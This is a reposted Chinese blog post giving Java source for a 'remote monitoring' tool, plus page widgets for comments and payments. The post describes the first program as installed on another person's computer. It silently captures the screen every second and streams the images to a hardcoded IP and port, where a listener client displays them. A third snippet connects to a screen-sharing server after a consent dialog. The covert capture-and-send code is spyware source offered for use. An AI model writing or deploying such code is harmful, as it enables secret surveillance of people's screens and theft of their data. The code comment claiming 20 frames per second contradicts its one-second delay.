远程监控 java_Java写的远程监控(转载)

很不错!

用java写的远程监控程序,可以看到对方计算机上正在进行的操作

在别人机器上安装的程序

import com.sun.image.codec.jpeg.JPEGCodec;

import com.sun.image.codec.jpeg.JPEGImageEncoder;

import java.awt.Dimension;

import java.awt.Rectangle;

import java.awt.Robot;

import java.awt.Toolkit;

import java.awt.image.BufferedImage;

import java.io.FileOutputStream;

import java.io.IOException;

import java.net.Socket;

import java.util.zip.ZipEntry;

import java.util.zip.ZipOutputStream;

public class ShellServer extends Thread{

private Dimension screenSize;

private Rectangle rectangle;

private Robot robot;

private JPEGImageEncoder encoder;

public ShellServer() {

screenSize = Toolkit.getDefaultToolkit().getScreenSize();rectangle = new Rectangle(screenSize);//可以指定捕获屏幕的区域

try{

robot = new Robot();

}catch(Exception e){

e.printStackTrace();

System.out.println(e);

}

}

public void run(){

ZipOutputStream os = null;

Socket socket=null;

while (true){

try{

socket = new Socket("10.124.10.127",5000);// 连接远程IP

BufferedImage image = robot.createScreenCapture(rectangle);// 捕获制定屏幕矩形区域

os = new ZipOutputStream(socket.getOutputStream());//加入压缩流

// os = new ZipOutputStream(new FileOutputStream("D:/1.zip"));

os.setLevel(9);

os.putNextEntry(new ZipEntry("1.jpg"));

JPEGCodec.createJPEGEncoder(os).encode(image);//图形编码成JPEG

os.close();

Thread.sleep(1000);//每秒20帧

}catch(Exception e){

e.printStackTrace();

}finally{

if(os!=null){

try{

os.close();

}catch(Exception ioe){}

}

if(socket!=null){

try {

socket.close();

} catch (IOException e) {

}

}

}

}

}

public static void main(String[] args) {

new ShellServer().start();

}

}

客户端程序,通过此程序可以看到别人正在操作的内容

import java.awt.*;

import java.awt.image.BufferedImage;

import javax.imageio.ImageIO;

import javax.swing.*;

import java.io.*;

import java.net.ServerSocket;

import java.net.Socket;

import java.util.zip.ZipInputStream;

public class ShellClient extends JFrame{

Dimension screenSize;

public ShellClient() {

super();

screenSize = Toolkit.getDefaultToolkit().getScreenSize();

this.setSize(800, 640);//设置Frame初始

Screen p = new Screen();//屏幕类

Container c = this.getContentPane();

c.setLayout(new BorderLayout());//布局

c.add(p,"Center");//添加一个Panel

new Thread(p).start();//开启线程

this.show();//显示本Frame

}

public static void main(String[] args){

new ShellClient();

}

class Screen extends JPanel implements Runnable{

private Image cimage;

public void run(){

ServerSocket ss=null;

try{

ss=new ServerSocket(5000);//探听5000端口的连接

while(true){

Socket s=null;

try{

s=ss.accept();//获取一个SOCKET

ZipInputStream zis=new ZipInputStream(s.getInputStream());

zis.getNextEntry();//获得ZIP流的ENTRY

cimage = ImageIO.read(zis);//把ZIP流转换为图片

//cimage = ImageIO.read(new FileInputStream("c:/1.jpg"));

repaint();//重画

}catch(Exception e){

e.printStackTrace();

}finally{

if(s!=null){

try {s.close();} catch (IOException e) {}

}

}

}

}catch(Exception e){}

finally{

if(ss!=null){

try {ss.close();} catch (IOException e) {}

}

}

}

public Screen() {

super();

this.setLayout(null);

}

public void paint(Graphics g){

super.paint(g);

Graphics2D g2 = (Graphics2D) g;

g2.drawImage(cimage, 0, 0, null);

}

}

}

实现本地电脑监控服务器端电脑监控功能 public class Client { // 入口 public static void main(String[] args) { try { int choice = JOptionPane.showConfirmDialog(null, "请求控制对方电脑", "远程控制系统-Charles", JOptionPane.YES_NO_OPTION); if (choice == JOptionPane.NO_OPTION) { return; } String input = JOptionPane.showInputDialog("请输入要连接电脑的ip(包括端口号)", "127.0.0.1:10000"); // 获取服务器的主机 String host = input.substring(0, input.indexOf(":")); // 获取服务器的端口号 String post = input.substring(input.indexOf(":") + 1); System.out.println("服务器的主机:" + host + " " + "端口号:" + post); Socket client = new Socket(host,Integer.parseInt(post)); DataInputStream dis = new DataInputStream(client.getInputStream()); JFrame jframe = new JFrame("本地监控系统 - Charles"); jframe.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);//默认关闭进程 jframe.setSize(1024, 768);// 设置窗体大小 double height = dis.readDouble(); double width = dis.readDouble(); Dimension ds = new Dimension((int)width, (int)height); //设置 jframe.setSize(ds); //将服务器图片作为背景 JLabel backImage = new JLabel(); JPanel panel = new JPanel(); //设置滚动条 JScrollPane scrollPane = new JScrollPane(panel); panel.setLayout(new FlowLayout()); panel.add(backImage); jframe.add(scrollPane); jframe.setAlwaysOnTop(true); jframe.setVisible(true); while(true){ int len = dis.readInt(); byte[] imageData = new byte[len]; dis.readFully(imageData); ImageIcon image = new ImageIcon(imageData); backImage.setIcon(image); jframe.repaint(); } } catch (Exception e) { e.printStackTrace(); } } }
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值